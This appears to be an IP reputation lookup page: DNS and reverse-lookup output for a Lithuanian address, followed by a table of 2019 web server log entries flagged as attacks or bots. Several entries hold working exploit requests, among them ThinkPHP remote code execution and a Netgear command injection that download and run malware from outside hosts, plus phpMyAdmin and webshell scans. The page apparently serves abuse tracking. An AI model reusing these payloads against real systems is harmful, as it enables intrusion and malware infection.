City: unknown
Region: unknown
Country: Lithuania
Internet Service Provider: unknown
Hostname: unknown
Organization: unknown
Usage Type: unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 78.57.213.200
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 18581
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;78.57.213.200. IN A
;; AUTHORITY SECTION:
. 600 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2022020702 1800 900 604800 86400
;; Query time: 17 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Tue Feb 08 06:16:04 CST 2022
;; MSG SIZE rcvd: 106200.213.57.78.in-addr.arpa domain name pointer 78-57-213-200.static.zebra.lt.Server: 183.60.83.19
Address: 183.60.83.19#53
Non-authoritative answer:
200.213.57.78.in-addr.arpa name = 78-57-213-200.static.zebra.lt.
Authoritative answers can be found from:| IP | Type | Details | Datetime |
|---|---|---|---|
| 132.232.212.45 | attack | 132.232.212.45 - - [11/Apr/2019:06:03:48 +0800] "GET /phppma/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 132.232.212.45 - - [11/Apr/2019:06:03:48 +0800] "GET /phpmy/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 132.232.212.45 - - [11/Apr/2019:06:03:48 +0800] "GET /mysql/admin/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 132.232.212.45 - - [11/Apr/2019:06:03:48 +0800] "GET /mysql/dbadmin/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 132.232.212.45 - - [11/Apr/2019:06:03:48 +0800] "GET /mysql/sqlmanager/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 132.232.212.45 - - [11/Apr/2019:06:03:48 +0800] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 132.232.212.45 - - [11/Apr/2019:06:03:48 +0800] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" |
2019-04-11 06:05:03 |
| 121.84.221.236 | attack | 121.84.221.236 - - [08/Apr/2019:19:53:14 +0800] "GET /index.php?s=/index/\\x09hink\\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://185.244.25.131/x86 -O .Akari; chmod +x .Akari; rm -rf .Akari x86; history -c -w;exit;logout;' HTTP/1.1" 400 182 "-" "Akari(selfrep)" |
2019-04-08 19:54:18 |
| 77.247.109.79 | botsattack | 77.247.109.79 - - [12/Apr/2019:14:11:58 +0800] "GET /admin/config.php HTTP/1.1" 404 232 "-" "curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2" 77.247.109.79 - - [12/Apr/2019:14:11:59 +0800] "\\x16\\x03\\x01\\x00\\x90\\x01\\x00\\x00\\x8C\\x03\\x03g\\xC4\\x0C\\x1A\\xF7q|\\xEF\\x98\\xBC\\x1AO\\xC2!\\x14-\\xA3K\\x85\\xCD\\xA5aG\\xEF\\xD8\\xC3\\x99y:F|\\xBA\\x00\\x00.\\xC0+\\xC0/\\x00\\x9E\\x00\\x9C\\xC0" 400 182 "-" "-" |
2019-04-12 14:16:02 |
| 101.226.79.190 | attack | 101.226.79.190 - - [10/Apr/2019:21:18:52 +0800] "GET /lindex.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 101.226.79.190 - - [10/Apr/2019:21:18:52 +0800] "GET /lindex.php HTTP/1.1" 404 209 "http://118.25.52.138/lindex.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 163.177.90.152 - - [10/Apr/2019:21:18:52 +0800] "GET /admin/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 163.177.90.152 - - [10/Apr/2019:21:18:53 +0800] "GET /admin/index.php HTTP/1.1" 404 209 "http://118.25.52.138/admin/index.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" |
2019-04-11 05:59:06 |
| 95.213.177.124 | attack | 95.213.177.124 - - [09/Apr/2019:16:00:58 +0800] "POST http://check.proxyradar.com/azenv.php?auth=155479685745&a=PSCN&i=1981363338&p=80 HTTP/1.1" 301 194 "http://best-proxies.ru/" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)" |
2019-04-09 16:01:29 |
| 118.25.145.186 | attack | 118.25.145.186 - - [08/Apr/2019:16:46:35 +0800] "GET /public/index.php?s=index/think\\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/hchqnxhwaxuxfid24711.exe');start%20C:/Windows/temp/hchqnxhwaxuxfid24711.exe HTTP/1.1" 400 682 "http://118.25.52.138:443/public/index.php?s=index/think\\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/hchqnxhwaxuxfid24711.exe');start C:/Windows/temp/hchqnxhwaxuxfid24711.exe" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
118.25.145.186 - - [08/Apr/2019:16:46:35 +0800] "GET /public/index.php?s=/index/\\x5Cthink\\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^>hydra.php HTTP/1.1" 400 682 "http://118.25.52.138:443/public/index.php?s=/index/\\x5Cthink\\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^>hydra.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
118.25.145.186 - - [08/Apr/2019:16:46:35 +0800] "GET /public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/hchqnxhwaxuxfid24711.exe');start%20C:/Windows/temp/hchqnxhwaxuxfid24711.exe HTTP/1.1" 400 682 "http://118.25.52.138:443/public/hydra.php?xcmd=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/hchqnxhwaxuxfid24711.exe');start C:/Windows/temp/hchqnxhwaxuxfid24711.exe" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" |
2019-04-08 16:47:25 |
| 46.29.165.129 | attack | 46.29.165.129 - - [09/Apr/2019:11:12:30 +0800] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=wget%20http://185.22.154.89/bins/September.mips%20-O%20/var/tmp/September.mips;%20chmod%20777%20/var/tmp/September.mips;%20/var/tmp/September.mips;%20rm%20-rf%20/var/tmp/September.mips&curpath=/¤tsetting.htm=1" 400 0 "-" "-" |
2019-04-09 11:13:17 |
| 113.200.201.130 | attack | 113.200.201.130 - - [08/Apr/2019:12:07:26 +0800] "POST /up.php HTTP/1.1" 404 499 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" 113.200.201.130 - - [08/Apr/2019:12:07:26 +0800] "POST /test123.php HTTP/1.1" 404 504 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" 113.200.201.130 - - [08/Apr/2019:12:07:26 +0800] "POST /test123.php HTTP/1.1" 404 504 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" 113.200.201.130 - - [08/Apr/2019:12:07:27 +0800] "POST /fb.php HTTP/1.1" 404 499 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" 113.200.201.130 - - [08/Apr/2019:12:07:27 +0800] "POST /paylog.php HTTP/1.1" 404 503 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" 113.200.201.130 - - [08/Apr/2019:12:07:27 +0800] "POST /paylog.php HTTP/1.1" 404 503 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" |
2019-04-08 12:08:33 |
| 118.25.145.186 | attack | 118.25.145.186 - - [10/Apr/2019:12:27:07 +0800] "{\\x22id\\x22:1,\\x22jsonrpc\\x22:\\x222.0\\x22,\\x22method\\x22:\\x22login\\x22,\\x22params\\x22:{\\x22login\\x22:\\x22x\\x22,\\x22pass\\x22:\\x22x\\x22,\\x22agent\\x22:\\x22x\\x22}}" 400 182 "-" "-" |
2019-04-10 12:27:32 |
| 111.206.198.14 | bots | 百度渲染爬虫，主要爬取图片以及css、js等 111.206.198.14 - - [08/Apr/2019:04:55:14 +0800] "GET /wp-content/uploads/2018/12/SIF-1.png HTTP/1.1" 200 47291 "https://www.eznewstoday.com/index.php/2018/12/10/a-simple-but-tough-to-beat-baseline-for-sentence-embeddings/" "Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)" 111.206.221.7 - - [08/Apr/2019:04:55:14 +0800] "GET /wp-content/ql-cache/quicklatex.com-ac9d53e7cc9ffa75a70082f94665c349_l3.png HTTP/1.1" 200 4258 "https://www.eznewstoday.com/index.php/2018/12/10/a-simple-but-tough-to-beat-baseline-for-sentence-embeddings/" "Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)" 111.206.198.70 - - [08/Apr/2019:04:55:14 +0800] "GET /wp-content/ql-cache/quicklatex.com-ac9d53e7cc9ffa75a70082f94665c349_l3.svg HTTP/1.1" 200 7427 "https://www.eznewstoday.com/index.php/2018/12/10/a-simple-but-tough-to-beat-baseline-for-sentence-embeddings/" "Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)" |
2019-04-08 05:09:52 |
| 101.227.151.57 | attack | 101.227.151.57 - - [06/Apr/2019:18:57:27 +0800] "GET /pk1914.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 101.227.151.57 - - [06/Apr/2019:18:57:27 +0800] "GET /pk1914.php HTTP/1.1" 404 209 "http://118.25.52.138/pk1914.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" |
2019-04-06 19:00:44 |
| 202.53.139.49 | attack | 202.53.139.49 - - [06/Apr/2019:13:57:37 +0800] "GET /phpma/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 202.53.139.49 - - [06/Apr/2019:13:57:37 +0800] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 202.53.139.49 - - [06/Apr/2019:13:57:37 +0800] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 202.53.139.49 - - [06/Apr/2019:13:57:37 +0800] "GET /phpMyAbmin/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 202.53.139.49 - - [06/Apr/2019:13:57:37 +0800] "GET /phpMyAdmin__/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 202.53.139.49 - - [06/Apr/2019:13:57:37 +0800] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" |
2019-04-06 13:59:10 |
| 58.251.121.185 | attack | 58.251.121.185 - - [06/Apr/2019:14:46:36 +0800] "GET /xiaohei.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 59.36.119.227 - - [06/Apr/2019:14:46:36 +0800] "GET /sha.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 58.251.121.185 - - [06/Apr/2019:14:46:36 +0800] "GET /xiaohei.php HTTP/1.1" 404 209 "http://118.25.52.138/xiaohei.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" |
2019-04-06 14:49:21 |
| 59.36.132.222 | attack | 代理检测。。 59.36.132.222 - - [12/Apr/2019:08:28:58 +0800] "GET http://www.baidu.com/ HTTP/1.1" 301 194 "-" "curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.13.1.0zlib/1.2.3 libidn/1.18 libssh2/1.2.2" 59.36.132.222 - - [12/Apr/2019:08:28:58 +0800] "CONNECT www.baidu.com:443 HTTP/1.1" 400 182 "-" "-" |
2019-04-12 08:31:00 |
| 54.242.155.91 | attack | 54.242.155.91 - - [14/Apr/2019:19:26:59 +0800] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 301 194 "-" "ZmEu" 54.242.155.91 - - [14/Apr/2019:19:26:59 +0800] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 301 194 "-" "ZmEu" 54.242.155.91 - - [14/Apr/2019:19:26:59 +0800] "GET /myadmin/scripts/setup.php HTTP/1.1" 301 194 "-" "ZmEu" 54.242.155.91 - - [14/Apr/2019:19:26:59 +0800] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 301 194 "-" "ZmEu" 54.242.155.91 - - [14/Apr/2019:19:26:59 +0800] "GET /pma/scripts/setup.php HTTP/1.1" 301 194 "-" "ZmEu" 54.242.155.91 - - [14/Apr/2019:19:26:59 +0800] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 301 194 "-" "ZmEu" 54.242.155.91 - - [14/Apr/2019:19:26:59 +0800] "GET HTTP/1.1" 400 182 "-" "-" |
2019-04-14 19:37:25 |